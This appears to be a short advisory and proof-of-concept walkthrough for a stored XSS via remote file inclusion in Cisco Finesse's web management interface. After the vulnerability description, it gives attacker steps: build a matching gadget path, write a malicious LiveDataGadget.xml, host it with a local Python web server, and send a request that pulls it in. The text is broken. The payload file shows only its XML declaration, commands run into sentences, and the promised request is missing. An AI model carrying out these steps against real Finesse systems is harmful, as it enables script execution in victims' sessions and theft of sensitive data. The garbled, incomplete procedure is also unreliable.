A vulnerability in the web-based management interface of Cisco Finesse could allow an unauthenticated, remote attacker to conduct a stored XSS attack by exploiting an RFI vulnerability. This vulnerability is due to insufficient validation of user-supplied input for specific HTTP requests sent to an affected device. An attacker could exploit this vulnerability by persuading a user to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive information on the affected device.

Create a full path that matches the same path for the original scheme.mkdir cuicui && mkdir cuicui/gadget && mkdir cuicui/gadget/LiveData

2. Create a configuration file “LiveDataGadget.xml” containing malicious code to be run when the file is called.

nano cuicui/gadget/LiveData/LiveDataGadget.xml<?xml version="1.0" encoding="UTF-8" ?>

3. Run a local web server to host the malicious configuration file “LiveDataGadget.xml”.

python3 -m http.server <port>

4. Send the below request to include the malicious configuration file from your local web server, after replacing the <target>, <IP> and <port> of yours.
